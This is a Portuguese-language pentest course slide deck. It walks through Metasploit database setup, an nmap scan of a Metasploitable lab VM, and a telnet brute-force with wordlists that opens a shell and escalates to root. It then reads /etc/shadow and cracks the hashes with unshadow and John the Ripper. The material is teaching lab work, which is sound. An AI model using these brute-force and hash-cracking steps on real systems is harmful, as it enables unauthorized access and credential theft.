



OBJETIVOS

- Exploração de Vulnerabilidade;
- Metodologia PTES;
- Uso do Metasploit Framework;
- Hashes e senhas no Linux.

METODOLOGIA PTES

- Preparação;
- Coleta de informações;
- Modelagem;
- Análise de Vulnerabilidades;
- **Exploração;**
- **Pós-Exploração;**
- Relatório.



- <https://media.readthedocs.org/pdf/pentest-standard/latest/pentest-standard.pdf>

METASPLOIT FRAMEWORK

- Serviço de base de dados ativo

```
root@kali:~# systemctl start postgresql
root@kali:~# msfdb status
● postgresql.service - PostgreSQL RDBMS
   Loaded: loaded (/lib/systemd/system/postgresql.service; disabled; vendor preset: disabled)
   Active: active (exited) since Wed 2020-05-13 09:48:29 EDT; 2s ago
     Process: 3128 ExecStart=/bin/true (code=exited, status=0/SUCCESS)
    Main PID: 3128 (code=exited, status=0/SUCCESS)

May 13 09:48:29 kali systemd[1]: Starting PostgreSQL RDBMS...
May 13 09:48:29 kali systemd[1]: Started PostgreSQL RDBMS.

COMMAND  PID    USER   FD  TYPE DEVICE SIZE/OFF NODE NAME
postgres 3110 postgres 3u  IPv6  35914      0t0  TCP localhost:5432 (LISTEN)
postgres 3110 postgres 4u  IPv4  35915      0t0  TCP localhost:5432 (LISTEN)

UID      PID    PPID    C  STIME TTY      STAT   TIME CMD
postgres 3110    1       0  09:48 ?        S      0:00 /usr/lib/postgresql/11/bin/postgres -D /var/lib/po

[+] Detected configuration file (/usr/share/metasploit-framework/config/database.yml)
root@kali:~# netstat -nlpt
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN      1/init
tcp        0      0 127.0.0.1:5432          0.0.0.0:*               LISTEN      3110/postgres
tcp6       0      0 :::111                  :::*                   LISTEN      1/init
tcp6       0      0 :::1:5432               :::*                   LISTEN      3110/postgres
```

METASPLOIT FRAMEWORK

- Serviço de base de dados ativo (caso ocorra erros)

```
(root@kali)-[/home/kali]
# msfdb init
[i] Database already started
[+] Creating database user 'msf'
[+] Creating databases 'msf'
(Message from Kali developers)

We have kept /usr/bin/python pointing to Python 2 for backwards
compatibility. Learn how to change this and avoid this message:
⇒ https://www.kali.org/docs/general-use/python3-transition/

(Run "touch ~/.hushlogin" to hide this message)
[+] Creating databases 'msf_test'
(Message from Kali developers)

We have kept /usr/bin/python pointing to Python 2 for backwards
compatibility. Learn how to change this and avoid this message:
⇒ https://www.kali.org/docs/general-use/python3-transition/

(Run "touch ~/.hushlogin" to hide this message)
[+] Creating configuration file '/usr/share/metasploit-framework/config/database.yml'
[+] Creating initial database schema
```


METASPLOIT FRAMEWORK

- Serviço de base de dados ativo (caso ocorra erros)

```
(root@kali)~# msfdb status
● postgresql.service - PostgreSQL RDBMS
   Loaded: loaded (/lib/systemd/system/postgresql.service; disabled; vendor preset: disabled)
   Active: active (exited) since Wed 2021-02-24 19:48:10 EST; 18min ago
   Process: 1662 ExecStart=/bin/true (code=exited, status=0/SUCCESS)
   Main PID: 1662 (code=exited, status=0/SUCCESS)

Feb 24 19:48:10 kali systemd[1]: Starting PostgreSQL RDBMS ...
Feb 24 19:48:10 kali systemd[1]: Finished PostgreSQL RDBMS.

COMMAND  PID    USER    FD  TYPE DEVICE SIZE/OFF NODE NAME
postgres 1644 postgres 5u  IPv6 26193      0t0  TCP localhost:5432 (LISTEN)
postgres 1644 postgres 6u  IPv4 26194      0t0  TCP localhost:5432 (LISTEN)

UID        PID     PPID    C  STIME TTY          STAT   TIME CMD
postgres   1644      1    0  19:48 ?           Ss      0:00 /usr/lib/postgresql/13/bin/postgres -D /var/l

[+] Detected configuration file (/usr/share/metasploit-framework/config/database.yml)

(root@kali)~# netstat -nlpt
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:5432          0.0.0.0:*               LISTEN      1644/postgres
tcp6       0      0 :::5432                 :::*                   LISTEN      1644/postgres
```

An abstract graphic featuring a yellow square at the top left, a blue square in the center, and a red square at the bottom left. A black vertical line runs through the center, and a black horizontal line runs across the bottom.

■ Iniciando o Metasploit Framework

[illegible]

METASPLOIT FRAMEWORK

- Usando o Metasploit Framework (show auxiliary)

```
msf5 > show auxiliary

Auxiliary
=====
#      Name                                                                 Disclosure Date  Rank   Check  Description
-      -
0      admin/2wire/xslt_password_reset 2007-08-15      normal No      2Wire Cross-Site Request Forgery Password Reset Vulnerability
1      admin/android/google_play_store_uxss_xframe_rce normal No      Android Browser RCE Through Google Play Store XF0
2      admin/appletv/appletv_display_image normal No      Apple TV Image Remote Control
3      admin/appletv/appletv_display_video normal No      Apple TV Video Remote Control
4      admin/atg/atg_client              normal Yes     Veeder-Root Automatic Tank Gauge (ATG) Administrative Client
5      admin/aws/aws_launch_instances    normal No      Launches Hosts in AWS
6      admin/backupexec/dump              normal No      Veritas Backup Exec Windows Remote File Access
7      admin/backupexec/registry          normal No      Veritas Backup Exec Server Registry Access
8      admin/chromecast/chromecast_reset normal No      Chromecast Factory Reset DoS
```



METASPLOIT FRAMEWORK

- Metasploit Framework (base de dados)

```
msf5 > db_nmap -v --open -sV -Pn 192.168.56.116
[*] Nmap: Starting Nmap 7.70 ( https://nmap.org ) at 2020-05-13 17:56 EDT
[*] Nmap: NSE: Loaded 43 scripts for scanning.
[*] Nmap: Initiating ARP Ping Scan at 17:56
[*] Nmap: Scanning 192.168.56.116 [1 port]
[*] Nmap: Completed ARP Ping Scan at 17:56, 0.03s elapsed (1 total hosts)
[*] Nmap: Initiating Parallel DNS resolution of 1 host. at 17:56
[*] Nmap: Completed Parallel DNS resolution of 1 host. at 17:56, 0.01s elapsed
[*] Nmap: Initiating SYN Stealth Scan at 17:56
[*] Nmap: Scanning 192.168.56.116 [1000 ports]
```


METASPLOIT FRAMEWORK

- Metasploit Framework (base de dados)

```
[*] Nmap: PORT      STATE SERVICE      VERSION
[*] Nmap: 21/tcp    open  ftp          vsftpd 2.3.4
[*] Nmap: 22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
[*] Nmap: 23/tcp    open  telnet       Linux telnetd
[*] Nmap: 25/tcp    open  smtp         Postfix smtpd
[*] Nmap: 53/tcp    open  domain       ISC BIND 9.4.2
[*] Nmap: 80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
[*] Nmap: 111/tcp   open  rpcbind      2 (RPC #100000)
[*] Nmap: 139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
[*] Nmap: 445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
[*] Nmap: 512/tcp   open  exec         netkit-rsh rshcd
[*] Nmap: 513/tcp   open  login        OpenBSD or Solaris rlogind
[*] Nmap: 514/tcp   open  shell        Netkit rshd
[*] Nmap: 1099/tcp  open  rmiregistry  GNU Classpath grmiregistry
[*] Nmap: 1524/tcp  open  bindshell    Metasploitable root shell
[*] Nmap: 2049/tcp  open  nfs          2-4 (RPC #100003)
[*] Nmap: 2121/tcp  open  ftp          ProFTPD 1.3.1
[*] Nmap: 3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
[*] Nmap: 5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
[*] Nmap: 5900/tcp  open  vnc          VNC (protocol 3.3)
[*] Nmap: 6000/tcp  open  X11          (access denied)
[*] Nmap: 6667/tcp  open  irc          UnrealIRCd
[*] Nmap: 8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
[*] Nmap: 8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
[*] Nmap: MAC Address: 08:00:27:A9:FE:74 (Oracle VirtualBox virtual NIC)
[*] Nmap: Service Info: Hosts: metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux;
```

METASPLOIT FRAMEWORK

- Metasploit Framework (base de dados)

```
msf5 > services 192.168.56.116
```

```
Services
```

```
=====
```

host	port	proto	name	state	info
----	----	-----	----	-----	----
192.168.56.116	21	tcp	ftp	open	vsftpd 2.3.4
192.168.56.116	22	tcp	ssh	open	OpenSSH 4.7p1 Debian 8ubuntu1 protocol 2.0
192.168.56.116	23	tcp	telnet	open	Linux telnetd
192.168.56.116	25	tcp	smtp	open	Postfix smtpd
192.168.56.116	53	tcp	domain	open	ISC BIND 9.4.2
192.168.56.116	80	tcp	http	open	Apache httpd 2.2.8 (Ubuntu) DAV/2
192.168.56.116	111	tcp	rpcbind	open	2 RPC #100000
192.168.56.116	139	tcp	netbios-ssn	open	Samba smbd 3.X - 4.X workgroup: WORKGROUP
192.168.56.116	445	tcp	netbios-ssn	open	Samba smbd 3.X - 4.X workgroup: WORKGROUP
192.168.56.116	512	tcp	exec	open	netkit-rsh rexecd
192.168.56.116	513	tcp	login	open	OpenBSD or Solaris rlogind
192.168.56.116	514	tcp	shell	open	Netkit rshd
192.168.56.116	1099	tcp	rmiregistry	open	GNU Classpath grmiregistry
192.168.56.116	1524	tcp	bindshell	open	Metasploitable root shell
192.168.56.116	2049	tcp	nfs	open	2-4 RPC #100003
192.168.56.116	2121	tcp	ftp	open	ProFTPD 1.3.1
192.168.56.116	3306	tcp	mysql	open	MySQL 5.0.51a-3ubuntu5

METASPLOIT FRAMEWORK

■ Metasploit Framework (força bruta)

```
msf5 > search type:auxiliary telnet
```

```
Matching Modules
```

```
=====
```

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/admin/http/dlink_dir_300_600_exec_noauth	2013-02-04	normal	No	D-Link DIR-600 / DIR-300 Unauthenticated Remote Command Execution
1	auxiliary/dos/cisco/ios_telnet_rocem	2017-03-17	normal	No	Cisco IOS Telnet Denial of Service
2	auxiliary/dos/windows/ftp/iis75_ftpd_iac_bof	2010-12-21	normal	No	Microsoft IIS FTP Server Encoded Response Overflow Trigger
3	auxiliary/scanner/ssh/juniper_backdoor	2015-12-20	normal	Yes	Juniper SSH Backdoor Scanner
4	auxiliary/scanner/telnet/brocade_enable_login		normal	Yes	Brocade Enable Login Check Scanner
5	auxiliary/scanner/telnet/lantronix_telnet_password		normal	Yes	Lantronix Telnet Password Recovery
6	auxiliary/scanner/telnet/lantronix_telnet_version		normal	Yes	Lantronix Telnet Service Banner Detection
7	auxiliary/scanner/telnet/satel_cmd_exec	2017-04-07	normal	Yes	Satel Iberia SenNet Data Logger and Electricity Meter Command Injection Vulnerability
8	auxiliary/scanner/telnet/telnet_encrypt_overflow		normal	Yes	Telnet Service Encryption Key ID Overflow Detection
9	auxiliary/scanner/telnet/telnet_login		normal	Yes	Telnet Login Check Scanner
10	auxiliary/scanner/telnet/telnet_ruggedcom		normal	Yes	RuggedCom Telnet Password Generator
11	auxiliary/scanner/telnet/telnet_version		normal	Yes	Telnet Service Banner Detection
12	auxiliary/server/capture/telnet		normal	No	Authentication Capture: Telnet

METASPLOIT FRAMEWORK

- Metasploit Framework (força bruta)

```
msf5 > info auxiliary/scanner/telnet/telnet_login
```

```
Name: Telnet Login Check Scanner
Module: auxiliary/scanner/telnet/telnet_login
License: Metasploit Framework License (BSD)
Rank: Normal
```

```
Provided by:
egypt <egypt@metasploit.com>
```

```
Check supported:
Yes
```

```
Basic options:
```

Name	Current Setting	Required	Description
BLANK_PASSWORDS	false	no	Try blank passwords for all users
BRUTEFORCE_SPEED	5	yes	How fast to bruteforce, from 0 to 5
DB_ALL_CREDS	false	no	Try each user/password couple stored in the current database
DB_ALL_PASS	false	no	Add all passwords in the current database to the list
DB_ALL_USERS	false	no	Add all users in the current database to the list
PASS_FILE		no	File containing passwords, one per line
RHOSTS		yes	The target address range or CIDR identifier
RPORT	23	yes	The target port (TCP)
STOP_ON_SUCCESS	false	yes	Stop guessing when a credential works for a host
THREADS	1	yes	The number of concurrent threads
USERPASS_FILE		no	File containing users and passwords separated by space, one pair per line
USER_AS_PASS	false	no	Try the username as the password for all users
USER_FILE		no	File containing usernames, one per line
VERBOSE	true	yes	Whether to print output for all attempts

METASPLOIT FRAMEWORK

- Metasploit Framework (força bruta)

```
msf5 > use auxiliary/scanner/telnet/telnet_login
msf5 auxiliary(scanner/telnet/telnet_login) > show options

Module options (auxiliary/scanner/telnet/telnet_login):
```

Name	Current Setting	Required	Description
BLANK_PASSWORDS	false	no	Try blank passwords for all users
BRUTEFORCE_SPEED	5	yes	How fast to bruteforce, from 0 to 5
DB_ALL_CREDS	false	no	Try each user/password couple stored in the current database
DB_ALL_PASS	false	no	Add all passwords in the current database to the list
DB_ALL_USERS	false	no	Add all users in the current database to the list
PASS_FILE		no	File containing passwords, one per line
RHOSTS		yes	The target address range or CIDR identifier
RPORT	23	yes	The target port (TCP)
STOP_ON_SUCCESS	false	yes	Stop guessing when a credential works for a host
THREADS	1	yes	The number of concurrent threads
USERPASS_FILE		no	File containing users and passwords separated by space, one pair per line
USER_AS_PASS	false	no	Try the username as the password for all users
USER_FILE		no	File containing usernames, one per line
VERBOSE	true	yes	Whether to print output for all attempts



METASPLOIT FRAMEWORK

- Metasploit Framework (força bruta)

```
GNU nano 4.3 /opt/users.txt
password
admin
cisco
root kali
superadmin
msfadmin
123456
ciscoadmin
administrator
telnet.pcapng
administrador
```

```
GNU nano 4.3 /opt/pass.txt
password
admin
cisco
root kali
superadmin
msfadmin
123456
ciscoadmin
administrator
telnet.pcapng
administrador
```

METASPLOIT FRAMEWORK

■ Metasploit Framework (força bruta)

```
msf5 auxiliary(scanner/telnet/telnet_login) > set RHOSTS 192.168.56.116
RHOSTS => 192.168.56.116
msf5 auxiliary(scanner/telnet/telnet_login) > set THREADS 10
THREADS => 10
msf5 auxiliary(scanner/telnet/telnet_login) > set USER_FILE /opt/users.txt
USER_FILE => /opt/users.txt
msf5 auxiliary(scanner/telnet/telnet_login) > set PASS_FILE /opt/pass.txt
PASS_FILE => /opt/pass.txt
msf5 auxiliary(scanner/telnet/telnet_login) > set VERBOSE true
VERBOSE => true
msf5 auxiliary(scanner/telnet/telnet_login) > show options
```

Module options (auxiliary/scanner/telnet/telnet_login):

Name	Current Setting	Required	Description
BLANK_PASSWORDS	false	no	Try blank passwords for all users
BRUTEFORCE_SPEED	5	yes	How fast to bruteforce, from 0 to 5
DB_ALL_CREDS	false	no	Try each user/password couple stored in the current database
DB_ALL_PASS	false	no	Add all passwords in the current database to the list
DB_ALL_USERS	false	no	Add all users in the current database to the list
PASS_FILE	/opt/pass.txt	no	File containing passwords, one per line
RHOSTS	192.168.56.116	yes	The target address range or CIDR identifier
RPORT	23	yes	The target port (TCP)
STOP_ON_SUCCESS	false	yes	Stop guessing when a credential works for a host
THREADS	10	yes	The number of concurrent threads
USERPASS_FILE		no	File containing users and passwords separated by space, one pair per line
USER_AS_PASS	false	no	Try the username as the password for all users
USER_FILE	/opt/users.txt	no	File containing usernames, one per line
VERBOSE	true	yes	Whether to print output for all attempts

METASPLOIT FRAMEWORK

- Metasploit Framework (força bruta)

```
msf5 auxiliary(scanner/telnet/telnet_login) > run
```

```
[*] 192.168.56.116:23 - 192.168.56.116:23 - LOGIN FAILED: password:password (Incorrect: )
[*] 192.168.56.116:23 - 192.168.56.116:23 - LOGIN FAILED: password:admin (Incorrect: )
[*] 192.168.56.116:23 - 192.168.56.116:23 - LOGIN FAILED: password:cisco (Incorrect: )
[*] 192.168.56.116:23 - 192.168.56.116:23 - LOGIN FAILED: password:root (Incorrect: )
[*] 192.168.56.116:23 - 192.168.56.116:23 - LOGIN FAILED: password:superadmin (Incorrect: )
[*] 192.168.56.116:23 - 192.168.56.116:23 - LOGIN FAILED: password:msfadmin (Incorrect: )
[*] 192.168.56.116:23 - 192.168.56.116:23 - LOGIN FAILED: password:123456 (Incorrect: )
[*] 192.168.56.116:23 - 192.168.56.116:23 - LOGIN FAILED: password:ciscoadmin (Incorrect: )
[*] 192.168.56.116:23 - 192.168.56.116:23 - LOGIN FAILED: password:administrator (Incorrect: )
[*] 192.168.56.116:23 - 192.168.56.116:23 - LOGIN FAILED: password:telnet (Incorrect: )
[*] 192.168.56.116:23 - 192.168.56.116:23 - LOGIN FAILED: password:administrador (Incorrect: )
[*] 192.168.56.116:23 - 192.168.56.116:23 - LOGIN FAILED: password: (Incorrect: )
[*] 192.168.56.116:23 - 192.168.56.116:23 - LOGIN FAILED: admin:password (Incorrect: )
```

```
[*] 192.168.56.116:23 - 192.168.56.116:23 - LOGIN FAILED: msfadmin:root (Incorrect: )
[*] 192.168.56.116:23 - 192.168.56.116:23 - LOGIN FAILED: msfadmin:superadmin (Incorrect: )
[+] 192.168.56.116:23 - 192.168.56.116:23 - Login Successful: msfadmin:msfadmin
[*] 192.168.56.116:23 - Attempting to start session 192.168.56.116:23 with msfadmin:msfadmin
[*] Command shell session 1 opened (192.168.56.103:33151 -> 192.168.56.116:23) at 2020-05-13 19:44:29 -0400
[*] 192.168.56.116:23 - 192.168.56.116:23 - LOGIN FAILED: 123456:password (Incorrect: )
[*] 192.168.56.116:23 - 192.168.56.116:23 - LOGIN FAILED: 123456:admin (Incorrect: )
```


METASPLOIT FRAMEWORK

- Metasploit Framework (força bruta)

```
msf5 auxiliary(scanner/telnet/telnet_login) > sessions

Active sessions
=====

  Id  Name  Type  Information                                     Connection
  --  ---  ---  -
  2    shell TELNET msfadmin:msfadmin (192.168.56.116:23) 192.168.56.103:44543 -> 192.168.56.116:23 (192.168.56.116)

msf5 auxiliary(scanner/telnet/telnet_login) > sessions -i 2
[*] Starting interaction with 2...

pwd
pwd
/home/msfadmin
msfadmin@metasploitable:~$ sudo su
sudo su
[sudo] password for msfadmin: msfadmin

root@metasploitable:/home/msfadmin# ifconfig
ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:a9:fe:74
          inet addr:192.168.56.116  Bcast:192.168.56.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fea9:fe74/64 Scope:Link
```



SENHAS EM SISTEMA LINUX

- `cat /etc/passwd`
- `cat /etc/shadow`
- <http://man7.org/linux/man-pages/man3/crypt.3.html>
 - encripta essas senhas no Linux (\$id\$salt\$encrypted\$)
- Criar dois usuários e observar o /etc/shadow
 - `adduser user1`
 - `adduser user2`
- `cat /etc/shadow`
- `openssl passwd -6 -salt %AUSFUSFYuy 123`
- `openssl passwd -1 -salt %AUSFUSFYuy 123`



DESCOBRINDO SENHAS NO LINUX

- `john, john --help`
- `ls /usr/share/john/password.lst` (wordlist padrão do john)
- `cat /usr/share/john/password.lst`
- `cat /usr/share/wordlists/rockyou.txt`
- `wc -l /usr/share/john/password.lst`
- `grep “ ” /usr/share/john/password.lst`
- `echo -n "alice" | sha1sum`
- `nano hash`
- `cat hash`
- `john --format=raw-sha1 --wordlist=password.lst arquivo.txt`
- `john --format=raw-sha1 --wordlist=/usr/share/wordlists/rockyou.txt arquivo.txt`
- `john --show --format=raw-sha1 arquivo.txt`

DESCOBRINDO SENHAS NO LINUX

- Copiar o conteúdo do /etc/passwd e /etc/shadow
 - man unshadow
 - unshadow
 - unshadow passwd shadow > hashes
 - cat hashes
 - john hashes (usa por padrão a wordlist password.lst)

```
root@kali:~/Desktop/crack# cat hashes
root:$1$avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:0:0:root:/root:/bin/bash
daemon:*:1:1:daemon:/usr/sbin:/bin/sh
bin:*:2:2:bin:/bin:/bin/sh
sys:$1$fUX6BP0t$MiyC3Up0zQJqz4s5wFD9l0:3:3:sys:/dev:/bin/sh
sync:*:4:65534:sync:/bin:/bin/sync
games:*:5:60:games:/usr/games:/bin/sh
man:*:6:12:man:/var/cache/man:/bin/sh
lp:*:7:7:lp:/var/spool/lpd:/bin/sh
mail:*:8:8:mail:/var/mail:/bin/sh
news:*:9:9:news:/var/spool/news:/bin/sh
uucp:*:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:*:13:13:proxy:/bin:/bin/sh
www-data:*:33:33:www-data:/var/www:/bin/sh
backup:*:34:34:backup:/var/backups:/bin/sh
list:*:38:38:Mailing List Manager:/var/list:/bin/sh
```




BIBLIOGRAFIA

- PTES – Penetration Testing Execution Standard. Disponível em: <http://www.pentest-standard.org/index.php/PTES_Technical_Guidelines>. Acesso em: 13.10.2024.
- METASPLOIT. Rapid7 Metasploit framework. Disponível em: <<https://www.metasploit.com/>> Acesso em: 13.10.2024.
- Notas de aula.